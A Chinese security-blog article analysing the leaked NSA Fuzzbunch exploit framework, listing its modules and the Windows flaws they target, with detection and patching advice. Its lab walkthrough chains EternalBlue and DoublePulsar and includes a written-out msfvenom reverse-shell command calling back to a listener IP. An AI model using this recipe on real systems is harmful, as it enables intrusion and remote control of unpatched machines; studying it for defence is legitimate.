NSA Fuzzbunch分析与利用案例-华盟网

NSA Fuzzbunch分析与利用案例

华盟学院山东省第二期线下学习计划
Shadow Brokers泄露出一份震惊世界的机密文档,其中包含了多个 Windows 远程漏洞利用工具。本文主要介绍了其中一款工具Fuzzbunch的分析与利用案例

1 整体目录介绍

解压EQGRP_Lost_in_Translation-master.zip文件(下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation)。总共包含三个目录:

1. windows目录针对Windows操作系统的利用工具和相关攻击代码;

2. swift目录中是包含入侵swift银行系统的操作记录等相关证据;

3. oddjob目录是后门Rootkit等相关文档;

Clipboard Image.png

1.1 框架介绍

我们主要分析下windows这个目录。windows 目录下存在两个入口点,包含两部分工具:

1. fb.py

2. start_lp.py

Clipboard Image.png

1.2 FB模块介绍

fuzzbunch功能类似于metasploit,功能较为自动化。fuzzbunch下载地址https://github.com/fuzzbunch/fuzzbunchfb.pyfuzzbunch 框架的入口文件,fb.py用于调用各个攻击模块,这些攻击模块有较多专注于 Windows 的SMB 服务(详见下文)。fuzzbunch支持自动调用 script 或手动配置模块,模块的使用趋于自动化,模块之间也会自动调用,用于信息探测等,模块也可以通过xml 文件的修改自行定义参数,常见的配置文件方式以xx.xml以及xx.fb文件存在。

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

fuzzbunch框架除了命令解析,日志,IO等常规功能外,fuzzbunch使用的xml配置文件十分详细,可以配置payload的各个部分。Fuzzbunch会帮助各个需要调用的PE文件生成xml文件,加载并执行二进制文件,这些二进制文件依赖lib目录下的dll文件,其中EXAM 在fuzzbunch 代码中全称为EXPLOITMANAGER,拥有跨平台能力。

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

1.3 start模块介绍

start_lp.py 会启动一个由 java 编写的 GUI 工具,即 start.jar。包含多个模块,其中的pyo文件可以使用uncompyle6还原源代码。如下图:

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

Clipboard Image.pngClipboard Image.png

2 fuzzbunch的插件列表和影响的服务与版本

2.1 ImplantConfig 植入工具模块

  • Darkpulsar 1.1.0 操控NTLM或 加载shellcode
  • Mofconfig 1.0.0

2.2 ListeningPost

  • 内容未公开

2.3.Exploit 漏洞利用模块

  • Easybee 1.0.1Mdaemon漏洞
  • Easypi 3.1.0 IBM Lotus漏洞
  • Eclipsedwing 1.5.2MS08–067
  • Educatedscholar 1.0.0MS09–050
  • Emeraldthread 3.0.0MS10–061
  • Emphasismine 3.4.0IBM Lotus Domino漏洞
  • Englishmansdentist 1.2.0OUTLOOK EXCHANGE漏洞
  • Erraticgopher 1.0.1SMB漏洞
  • Eskimoroll 1.1.1MS14–068
  • Esteemaudit 2.1.0RDP漏洞
  • Eternalromance 1.4.0SMBv1 漏洞
  • Eternalsynergy 1.0.1SMB漏洞
  • Ewokfrenzy 2.0.0Domino漏洞
  • Explodingcan 2.0.2IIS漏洞利用工具
  • Zippybeer 1.0.2 域控漏洞

2.4 Touch 信息探测、漏洞测试模块

  • Architouch 1.0.0
  • Domaintouch 1.1.1
  • Eclipsedwingtouch 1.0.4
  • Educatedscholartouch 1.0.0
  • Emeraldthreadtouch 1.0.0
  • Erraticgophertouch 1.0.1
  • Esteemaudittouch 2.1.0
  • Explodingcantouch 1.2.1
  • Iistouch 1.2.2
  • Namedpipetouch 2.0.0
  • Printjobdelete 1.0.0
  • Printjoblist 1.0.0
  • Rpctouch 2.1.0
  • Smbtouch 1.1.1
  • Webadmintouch 1.0.1
  • Worldclienttouch 1.0.1

2.5 Payload Payload模块

  • Doublepulsar 1.3.1支持 DLL 后门 和 shellcode
  • Jobadd 1.1.1
  • Jobdelete 1.1.1
  • Joblist 1.1.1
  • Pcdlllauncher 2.3.1
  • Processlist 1.1.1
  • Regdelete 1.1.1
  • Regenum 1.1.1
  • Regread 1.1.1
  • Regwrite 1.1.1
  • Rpcproxy 1.0.1
  • Smbdelete 1.1.1
  • Smblist 1.1.1
  • Smbread 1.1.1
  • Smbwrite 1.1.1

2.6 Special 专用模块

  • Eternalblue 2.2.0 SMB漏洞 MS17–010
  • Eternalchampion 2.0.0SMB漏洞 造成信息泄露 CVE-2017–0146CVE-2017–0147

检测与建议

  • 通过自检,可以自行判断服务器中是否存在doublepulsar后门,Github上开放了检测工具:detect_doublepulsar
  • ms17-017 检查 ,可通过metasploit代码:smb_ms17_010.rb
  • Microsoft的影响评价:Protecting customers and evaluating risk
  • ms17-101 影响与升级公告:Microsoft SecurityBulletin MS17-010 - Critical
  • Clipboard Image.png

3 fuzzbunch实验环境介绍

3.1 靶机环境介绍:

1. Fuzzbunch运行环境,操作系统:Windows 7;Clipboard Image.png

2. 目标靶机,操作系统:Windows7,通过实验,需要配置防火墙开放服务,或者直接关闭防火墙;

Clipboard Image.png

3.1 控制端系统,操作系统:Kali1.1;

Clipboard Image.png

3.2 漏洞利用流程,以Eternalblue举例:

1. 使用Python2.6运行fb.py,需要安装pywin32等组件。运行成功会展现以下界面:Clipboard Image.png

2. 填写默认配置,目标IP地址、CallbackIP、日志地址、项目名称tcc等。如下图:Clipboard Image.png

3. 运行”?”命令,可以列出帮助手册,如下图,有很多Core Commands:Clipboard Image.png

4. 键入use命令,可以列出当前可以使用的插件,和MSF风格很类似:Clipboard Image.png

5. 选择”Eternalblue”,并执行。如下图,fb会自动载入预设配置:Clipboard Image.png

6. 进行相应配置,包含网络连接超时配置、目标IP、目标端口、是否验证、是否验证后门、最大exploit次数、系统选择等。如下图:

Clipboard Image.png

7. 模式选择:1>FB。进行配置,在配置完成后,会显示Eternalblue插件的配置详情。如下图:

Clipboard Image.png

8. 执行Eternalblue,用于验证目标靶机是否存在漏洞。如下图:Clipboard Image.png

9. 依据Eternalblue插件的运行结果显示,目标主机存在漏洞,(当目标为2018 R2版本需要所需时间较长,中间出现的报错可以无视,会自动修改参数),如下图:Clipboard Image.png

10. 在验证存在漏洞之后,接下去使用Doublepulsar去利用该漏洞,fb会自动载入一些预设配置。如下图:

Clipboard Image.png

11. 针对Doublepulsar插件配置项进行配置,依据靶机信息,选择不同的参数,我这里使用的是x86 win7,如下图:

Clipboard Image.png

12. 这里需要选择后门的类型,我这里选择的是2> RunDLL。如下图:Clipboard Image.png

13. 接下去需要给出后门dll。可以使用kali中的msfvenon去生成对应后门dll。选择相应的参数、平台、后门类型等,命令:msfvenom -a x86--platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106LPORT=8888 -f dll > tcc.dll。如下图:

Clipboard Image.png

14. 在kali进行反向TCP监听的配置,如下图:

  • 命令:use exploit/multi/handler,
  • payload:windows/meterpreter/reverse_tcp

Clipboard Image.png

15. 拷贝kali生成的tcc.dll文件至fb系统中,进行配置,如下图:Clipboard Image.png

16. 配置注入的dll的程序,我们选择explorer.exe。如下图:Clipboard Image.png

17. 配置目标地址、目标端口,最后会显示Doublepulsar的配置列表,如下图:Clipboard Image.png

18. 执行Doublepulsar,观察运行结果。如下图,运行且注入成功:Clipboard Image.png

19. 切换到kali,查看meterpreter,靶机已经主动连接进入meterpreter控制端。漏洞利用成功,如下图:

Clipboard Image.png

20. 运行shell,执行whoami指令。如下图:

4 总结

www.idc126.com

从这次事件中,可以看出NSA下的方程式组织技术能力出众,这次部分0-Day漏洞波及范围甚广,估计方程式组织还会有其它未公布的各种0-Day。就针对目前Fuzzbunch中的漏洞利用工具包含多个0-Day漏洞,建议厂商:

  • 升级系统补丁,确保补丁更新到最新版本。
  • 关闭没有补丁的服务
  • 使用防火墙、或者安全组配置安全策略,屏蔽或添加filter对包括445、3389在内的系统端口访问。
本文版权归漏洞盒子所有

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

1

发表评论